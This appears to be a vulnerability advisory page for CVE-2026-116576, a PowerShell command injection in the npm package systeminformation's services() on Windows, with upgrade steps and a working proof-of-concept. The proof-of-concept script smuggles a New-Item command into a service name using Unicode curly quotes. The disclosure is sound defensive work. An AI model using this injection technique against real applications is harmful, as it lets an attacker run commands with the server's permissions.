high · 7.8 Patched

systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks

CVE-2026-116576 · GHSA-3f7j-7jwc-fxfj · published 28 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-116576?

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Who is affected

  • systeminformation (npm) < 5.33.16

How to check

  1. Run npm ls systeminformation in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade systeminformation to 5.33.16 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary On Windows, `systeminformation@5.33.15` builds a PowerShell command using the value passed to `services()`. The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process. This report confirms version `5.33.15`. Other package versions have not been checked. ### Details In `lib/processes.js`, `services()` sanitizes the caller's string with `sanitizeShellString()` and later inserts each resulting name into a `Get-CimInstance Win32_Service -Filter` command. The Windows branch passes that command to `util.powerShell()`. The sanitizer in `lib/util.js` removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command. For example, the input below uses curly quotation marks to end the generated filter string and execute `New-Item`. I reproduced this call on Windows against the checked-out `systeminformation@5.33.15` source; it created a marker file with the Node.js process account. ### Proof of concept Run this on Windows in a disposable directory with Node.js and PowerShell available: ```powershell mkdir si-command-injection-repro cd si-command-injection-repro npm init -y npm install systeminformation@5.33.15 ``` Save the following as `poc.cjs`, then run `node poc.cjs`: ```js 'use strict'; const fs = require('node:fs'); const path = require('node:path'); const si = require('systeminformation'); (async () => { const markerName = `si-injection-${process.pid}.txt`; const markerPath = path.join(process.cwd(), markerName); fs.rmSync(markerPath, { force: true }); try { await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`); console.log(`markerCreated=${fs.existsSync(markerPath)}`); } finally { fs.rmSync(markerPath, { force: true }); } })().catch((error) => { console.error(error); process.exitCode = 1; }); ``` Expected output: ```text markerCreated=true ``` The Windows run returned an array and created the marker (`markerCreated: true`). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to `services()`, so remote exploitability depends on the consuming application. ### Impact An application that passes attacker-controlled input to `services()` on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. `services()` is exposed through the package API and `getDynamicData()`, so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's `docs/security.html` already warns that arbitrary untrusted input to `services()` needs caution because package sanitization does not cover every case.

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References

Merged from GitHub Advisory Database, OSV. Last updated 29 Oct 2026. All vulnerabilities · RSS · JSON